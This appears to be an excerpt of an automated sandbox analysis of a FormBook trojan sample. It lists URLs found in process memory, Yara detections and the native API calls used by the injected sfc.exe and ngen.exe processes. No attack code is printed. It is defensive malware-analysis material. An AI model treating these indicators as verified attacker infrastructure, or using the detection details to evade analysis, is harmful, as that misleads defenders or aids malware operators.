Source: sfc.exe, 0000000C.00000002.4093679938.0000000004814000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.00000000043A4000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://mail.365.com/login.html
Source: sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://parked.reg.bookmyname.com/images/all_off.gif
Source: sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://parked.reg.bookmyname.com/images/es_off.gif
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://parked.reg.bookmyname.com/images/fr_banniere_haut.jpg
Source: sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://parked.reg.bookmyname.com/images/fr_on.gif
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://parked.reg.bookmyname.com/images/gb_off.gif
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://parked.reg.bookmyname.com/images/logo_book.gif
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://parked.reg.bookmyname.com/styles/styles-redir.css
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.bookmyname.com
Source: tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.bookmyname.com/
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.bookmyname.com/?wl=de
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.bookmyname.com/?wl=en
Source: sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.bookmyname.com/?wl=es
Source: sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.bookmyname.com/?wl=fr
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.bookmyname.com/nom_de_domaine/tarif_nom_de_domaine.html
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.bookmyname.com/whois_informations_nom_de_domaine.html?wl=en
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.bookmyname.com/whois_informations_nom_de_domaine.html?wl=fr
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.bookmyname.com/whoisctc.cgi?wl=en
Source: sfc.exe, 0000000C.00000002.4093679938.00000000049A6000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000004536000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.bookmyname.com/whoisctc.cgi?wl=fr
Source: sfc.exe, 0000000C.00000002.4095332097.0000000007C24000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: sfc.exe, 0000000C.00000002.4093679938.0000000004814000.00000004.10000000.00040000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.00000000043A4000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.marksmile.com/
Source: sfc.exe, 0000000C.00000002.4093679938.00000000041CC000.00000004.10000000.00040000.00000000.sdmp, sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000003D5C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.namecheap.com/domains/registration/results/?domain=luckydomainz.shop
Source: sfc.exe, 0000000C.00000002.4095229118.0000000006160000.00000004.00000800.00020000.00000000.sdmp, tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4093054650.0000000003D5C000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.sedo.com/services/parking.php3

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 5.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000C.00000002.4092649802.0000000002F30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.4091718758.0000000002A80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1847525772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.4092708936.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1847829194.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.4094582069.0000000005760000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.1849163774.0000000005B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.4092694801.00000000027B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 5.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 5.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.4092649802.0000000002F30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.4091718758.0000000002A80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.1847525772.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000C.00000002.4092708936.0000000002F70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.1847829194.0000000005250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000010.00000002.4094582069.0000000005760000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.1849163774.0000000005B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.4092694801.00000000027B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Contains functionality to call native functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0042AE83 NtClose, 5_2_0042AE83
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057735C0 NtCreateMutant,LdrInitializeThunk, 5_2_057735C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772DF0 NtQuerySystemInformation,LdrInitializeThunk, 5_2_05772DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772C70 NtFreeVirtualMemory,LdrInitializeThunk, 5_2_05772C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772B60 NtClose,LdrInitializeThunk, 5_2_05772B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05774650 NtSuspendThread, 5_2_05774650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05773010 NtOpenDirectoryObject, 5_2_05773010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05773090 NtSetValueKey, 5_2_05773090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05774340 NtSetContextThread, 5_2_05774340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05773D70 NtOpenThread, 5_2_05773D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772D30 NtUnmapViewOfSection, 5_2_05772D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772D10 NtMapViewOfSection, 5_2_05772D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05773D10 NtOpenProcessToken, 5_2_05773D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772D00 NtSetInformationFile, 5_2_05772D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772DD0 NtDelayExecution, 5_2_05772DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772DB0 NtEnumerateKey, 5_2_05772DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772C60 NtCreateKey, 5_2_05772C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772C00 NtQueryInformationProcess, 5_2_05772C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772CF0 NtOpenProcess, 5_2_05772CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772CC0 NtQueryVirtualMemory, 5_2_05772CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772CA0 NtQueryInformationToken, 5_2_05772CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772F60 NtCreateProcessEx, 5_2_05772F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772F30 NtCreateSection, 5_2_05772F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772FE0 NtCreateFile, 5_2_05772FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772FB0 NtResumeThread, 5_2_05772FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772FA0 NtQuerySection, 5_2_05772FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772F90 NtProtectVirtualMemory, 5_2_05772F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772E30 NtWriteVirtualMemory, 5_2_05772E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772EE0 NtQueueApcThread, 5_2_05772EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772EA0 NtAdjustPrivilegesToken, 5_2_05772EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772E80 NtReadVirtualMemory, 5_2_05772E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057739B0 NtGetContextThread, 5_2_057739B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772BF0 NtAllocateVirtualMemory, 5_2_05772BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772BE0 NtQueryValueKey, 5_2_05772BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772BA0 NtEnumerateValueKey, 5_2_05772BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772B80 NtQueryInformationFile, 5_2_05772B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772AF0 NtWriteFile, 5_2_05772AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772AD0 NtReadFile, 5_2_05772AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772AB0 NtWaitForSingleObject, 5_2_05772AB0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E4340 NtSetContextThread,LdrInitializeThunk, 12_2_031E4340
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E4650 NtSuspendThread,LdrInitializeThunk, 12_2_031E4650
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E35C0 NtCreateMutant,LdrInitializeThunk, 12_2_031E35C0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2B60 NtClose,LdrInitializeThunk, 12_2_031E2B60
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2BA0 NtEnumerateValueKey,LdrInitializeThunk, 12_2_031E2BA0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 12_2_031E2BF0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2BE0 NtQueryValueKey,LdrInitializeThunk, 12_2_031E2BE0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2AD0 NtReadFile,LdrInitializeThunk, 12_2_031E2AD0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2AF0 NtWriteFile,LdrInitializeThunk, 12_2_031E2AF0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E39B0 NtGetContextThread,LdrInitializeThunk, 12_2_031E39B0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2F30 NtCreateSection,LdrInitializeThunk, 12_2_031E2F30
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2FB0 NtResumeThread,LdrInitializeThunk, 12_2_031E2FB0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2FE0 NtCreateFile,LdrInitializeThunk, 12_2_031E2FE0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2E80 NtReadVirtualMemory,LdrInitializeThunk, 12_2_031E2E80
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2EE0 NtQueueApcThread,LdrInitializeThunk, 12_2_031E2EE0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2D10 NtMapViewOfSection,LdrInitializeThunk, 12_2_031E2D10
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2D30 NtUnmapViewOfSection,LdrInitializeThunk, 12_2_031E2D30
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2DD0 NtDelayExecution,LdrInitializeThunk, 12_2_031E2DD0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2DF0 NtQuerySystemInformation,LdrInitializeThunk, 12_2_031E2DF0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2C70 NtFreeVirtualMemory,LdrInitializeThunk, 12_2_031E2C70
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2C60 NtCreateKey,LdrInitializeThunk, 12_2_031E2C60
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2CA0 NtQueryInformationToken,LdrInitializeThunk, 12_2_031E2CA0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E3010 NtOpenDirectoryObject, 12_2_031E3010
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E3090 NtSetValueKey, 12_2_031E3090
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2B80 NtQueryInformationFile, 12_2_031E2B80
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2AB0 NtWaitForSingleObject, 12_2_031E2AB0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2F60 NtCreateProcessEx, 12_2_031E2F60
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2F90 NtProtectVirtualMemory, 12_2_031E2F90
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2FA0 NtQuerySection, 12_2_031E2FA0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2E30 NtWriteVirtualMemory, 12_2_031E2E30
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2EA0 NtAdjustPrivilegesToken, 12_2_031E2EA0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E3D10 NtOpenProcessToken, 12_2_031E3D10
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2D00 NtSetInformationFile, 12_2_031E2D00
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E3D70 NtOpenThread, 12_2_031E3D70
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2DB0 NtEnumerateKey, 12_2_031E2DB0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2C00 NtQueryInformationProcess, 12_2_031E2C00
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2CC0 NtQueryVirtualMemory, 12_2_031E2CC0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_031E2CF0 NtOpenProcess, 12_2_031E2CF0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02AA7660 NtCreateFile, 12_2_02AA7660
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02AA77C0 NtReadFile, 12_2_02AA77C0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02AA7A80 NtAllocateVirtualMemory, 12_2_02AA7A80
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02AA78A0 NtDeleteFile, 12_2_02AA78A0
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02AA7930 NtClose, 12_2_02AA7930
Detected potential crypto function
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Code function: 0_2_00007FFD9B8A7AF0 0_2_00007FFD9B8A7AF0
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Code function: 0_2_00007FFD9B8A30F8 0_2_00007FFD9B8A30F8
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Code function: 0_2_00007FFD9B8A30F0 0_2_00007FFD9B8A30F0
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Code function: 0_2_00007FFD9B8AD925 0_2_00007FFD9B8AD925
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Code function: 0_2_00007FFD9B8B37E0 0_2_00007FFD9B8B37E0
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Code function: 0_2_00007FFD9B8A1F88 0_2_00007FFD9B8A1F88
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Code function: 0_2_00007FFD9B8AAFA1 0_2_00007FFD9B8AAFA1
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Code function: 0_2_00007FFD9B8AEF47 0_2_00007FFD9B8AEF47
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00401580 5_2_00401580
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00402857 5_2_00402857
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00402860 5_2_00402860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00401000 5_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0042D273 5_2_0042D273
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_004032E0 5_2_004032E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00401290 5_2_00401290
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0040FAB3 5_2_0040FAB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_004023C0 5_2_004023C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_004163B3 5_2_004163B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_004023BA 5_2_004023BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0040FCD3 5_2_0040FCD3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0040DD53 5_2_0040DD53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_004025C0 5_2_004025C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_004045A0 5_2_004045A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_004025B4 5_2_004025B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00402E20 5_2_00402E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F7571 5_2_057F7571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05800591 5_2_05800591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740535 5_2_05740535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DD5B0 5_2_057DD5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05731460 5_2_05731460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F2446 5_2_057F2446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FF43F 5_2_057FF43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EE4F6 5_2_057EE4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05764750 5_2_05764750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573C7C0 5_2_0573C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FF7B0 5_2_057FF7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575C6E0 5_2_0575C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F16CC 5_2_057F16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572F172 5_2_0572F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0577516C 5_2_0577516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_058001AA 5_2_058001AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DA118 5_2_057DA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05730100 5_2_05730100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F81CC 5_2_057F81CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574B1B0 5_2_0574B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0580B16B 5_2_0580B16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F70E9 5_2_057F70E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FF0E0 5_2_057FF0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EF0CC 5_2_057EF0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057470C0 5_2_057470C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057FA352 5_2_057FA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572D34C 5_2_0572D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F132D 5_2_057F132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_058003E6 5_2_058003E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574E3F0 5_2_0574E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0578739A 5_2_0578739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057E0274 5_2_057E0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575D2F0 5_2_0575D2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057E12ED 5_2_057E12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575B2C0 5_2_0575B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057452A0 5_2_057452A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F7D73 5_2_057F7D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F1D5A 5_2_057F1D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05743D40 5_2_05743D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574AD00 5_2_0574AD00
